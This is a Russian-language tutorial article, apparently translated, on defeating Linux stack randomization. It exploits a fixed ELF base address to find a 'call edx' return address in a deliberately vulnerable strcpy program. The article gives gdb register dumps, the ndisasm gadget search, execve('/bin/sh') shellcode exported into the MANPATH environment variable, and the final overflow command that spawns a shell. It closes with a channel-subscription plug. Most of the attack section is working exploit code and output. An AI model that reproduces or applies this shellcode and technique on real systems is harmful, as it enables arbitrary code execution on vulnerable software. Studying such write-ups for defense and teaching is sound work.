Linux Virtual Addresses Exploitation

Linux Virtual Addresses Exploitation

Последние версии Linux ядер содержат механизм рандомизации стека, значительно усложняющий эксплуатацию уязвимостей переполнения стекового буфера. В этой статье рассмотрим возможность осуществления атаки, эксплуатируя статистические адреса в linux.

Micheal Turner.

Последние версии Linux ядер содержат механизм рандомизации стека, значительно усложняющий эксплуатацию уязвимостей переполнения стекового буфера. В этой статье рассмотрим возможность осуществления атаки, эксплуатируя статистические адреса в linux. Предполагается, что читатель знаком с стандартными методами переполнение стека.

Виртуальные адреса

Давайте рассмотрим 2 состояния одной и той же программы, которая выполняет loop() для проверки map:

prdelka@gentoo ~ $ cat /proc/5415/maps
08048000-08049000 r-xp 00000000 03:01 493449 /home/prdelka/env
08049000-0804a000 rw-p 00000000 03:01 493449 /home/prdelka/env
b7e02000-b7f0b000 r-xp 00000000 03:01 229995 /lib/libc-2.3.5.so
b7f0b000-b7f0c000 ---p 00109000 03:01 229995 /lib/libc-2.3.5.so
b7f0c000-b7f0d000 r--p 00109000 03:01 229995 /lib/libc-2.3.5.so
b7f0d000-b7f10000 rw-p 0010a000 03:01 229995 /lib/libc-2.3.5.so
b7f10000-b7f13000 rw-p b7f10000 00:00 0
b7f1f000-b7f34000 r-xp 00000000 03:01 230174 /lib/ld-2.3.5.so
b7f34000-b7f35000 r--p 00014000 03:01 230174 /lib/ld-2.3.5.so
b7f35000-b7f36000 rw-p 00015000 03:01 230174 /lib/ld-2.3.5.so
bfd1f000-bfd34000 rw-p bfd1f000 00:00 0 [stack]
ffffe000-fffff000 ---p 00000000 00:00 0 [vdso]
prdelka@gentoo ~ $ cat /proc/5426/maps
08048000-08049000 r-xp 00000000 03:01 493449 /home/prdelka/env
08049000-0804a000 rw-p 00000000 03:01 493449 /home/prdelka/env
b7df6000-b7eff000 r-xp 00000000 03:01 229995 /lib/libc-2.3.5.so
b7eff000-b7f00000 ---p 00109000 03:01 229995 /lib/libc-2.3.5.so
b7f00000-b7f01000 r--p 00109000 03:01 229995 /lib/libc-2.3.5.so
b7f01000-b7f04000 rw-p 0010a000 03:01 229995 /lib/libc-2.3.5.so
b7f04000-b7f07000 rw-p b7f04000 00:00 0
b7f13000-b7f28000 r-xp 00000000 03:01 230174 /lib/ld-2.3.5.so
b7f28000-b7f29000 r--p 00014000 03:01 230174 /lib/ld-2.3.5.so
b7f29000-b7f2a000 rw-p 00015000 03:01 230174 /lib/ld-2.3.5.so
bfc0e000-bfc28000 rw-p bfc0e000 00:00 0 [stack] ffffe000-fffff000 ---p 00000000 00:00 0 [vdso]
Как видно из примера, стек рандомизирован вместе с библиотеками, что усложняет проведение атаки типа "ret-into-libc". Однако можно заметить 1 константу, одинаковую в обеих программах:
08048000-08049000 r-xp 00000000 03:01 493449     /home/prdelka/env
08049000-0804a000 rw-p 00000000 03:01 493449 /home/prdelka/env
В результате нам необходимо найти адрес возврата в этой области. Давайте рассмотрим уязвимую программу:
prdelka@gentoo ~ $ cat bug.c
#include int main(int argc,char* argv[]){ char buffer[100]; strcpy(buffer,argv[1]); return 1; }
Мы сейчас вызовем переполнение стека и посмотрим как выглядят регистры. Для этого используем ./bug `perl -e 'print "A"x5000'` и GDB. Программа получает сигнал SIGSEGV, Segmentation fault. Ошибка во время выполнения hook_stop:
Invalid type combination in ordering comparison.
0x41414141 in ?? ()
gdb> i r
eax 0x1 0x1
ecx 0xffffe21d 0xffffe21d
edx 0xbfa0b71b 0xbfa0b71b
ebx 0xb7ee6ff4 0xb7ee6ff4
esp 0xbfa08630 0xbfa08630
ebp 0x41414141 0x41414141
esi 0xb7f0dc80 0xb7f0dc80
edi 0xbfa08674 0xbfa08674
eip 0x41414141 0x41414141
eflags 0x10246 0x10246
cs 0x73 0x73
ss 0x7b 0x7b
ds 0x7b 0x7b
es 0x7b 0x7b
fs 0x0 0x0
gs 0x0 0x0
При более подробном изучении мы можем обнаружить адрес рандомизации указателя окружения в EDX, который всегда указывает на наши переменные окружения в уязвимом примере, что часто случается в случае переполнения параметра командной строки.
gdb> x/s $edx
0xbfa0b71b: "MANPATH=",
Чтобы проэксплуатировать эту программу, мы должны найти путь для вызова "call $edx", "jmp $edx" или sh $edx, retn". Мы можем найти необходимый адрес возврата в статической области памяти из ELF файла, используя ndisasm и grep.
prdelka@gentoo ~ $ ./ndisasm bug | grep "call dx"
00000338 FFD2 call dx
000016F3 FFD2 call dx
В результате мы знаем, что основной адрес ELF файла - 08048000, если мы добавим 0x338 оффсет, мы получим адрес возврата 0x8048338! Если мы исследуем этот адрес возврата в GDB, то увидим следующее:
0x8048338 <__do_global_dtors_aux+40>:   call   *%edx

Эксплуатация

Чтобы эксплуатировать ошибку, мы поместим наши данные в первую переменную окружения. Чтобы найти их, запустим команду 'env':

prdelka@gentoo ~ $ env
MANPATH=/usr/local/share/man:/usr/share/man:/usr/share/binutils-data/i686-pc-linux-gnu/2.15.92.0.2
/man:/usr/share/gcc-data/i686-pc-linux-gnu/3.3.6/man:/usr/qt/3/doc/man
Теперь добавим наш шелкод в эту переменную окружения:
prdelka@gentoo ~ $ export MANPATH=`perl -e 
'print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68";
print "//sh";print "\x68";
print "/bin";print "\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";'`
Теперь мы можем проэксплуатировать нашу программу, используя ранее найденный адрес возврата:
prdelka@gentoo ~ $ uname -a
Linux gentoo 2.6.12-gentoo-r10 #2 Tue Sep 13 00:33:15 IDT 2005 i686 
Mobile Intel(R) Celeron(R) CPU 1.70GHz GenuineIntel GNU/Linux
prdelka@gentoo ~ $ ./bug `perl -e 'print "\x90"x124;print "\x38\x83\x04\x08";'`
sh-3.00$

Ученые доказали: чтение нашего канала продлевает жизнь!

Ладно, не доказали. Но мы работаем над этим

Поучаствуйте в эксперименте — подпишитесь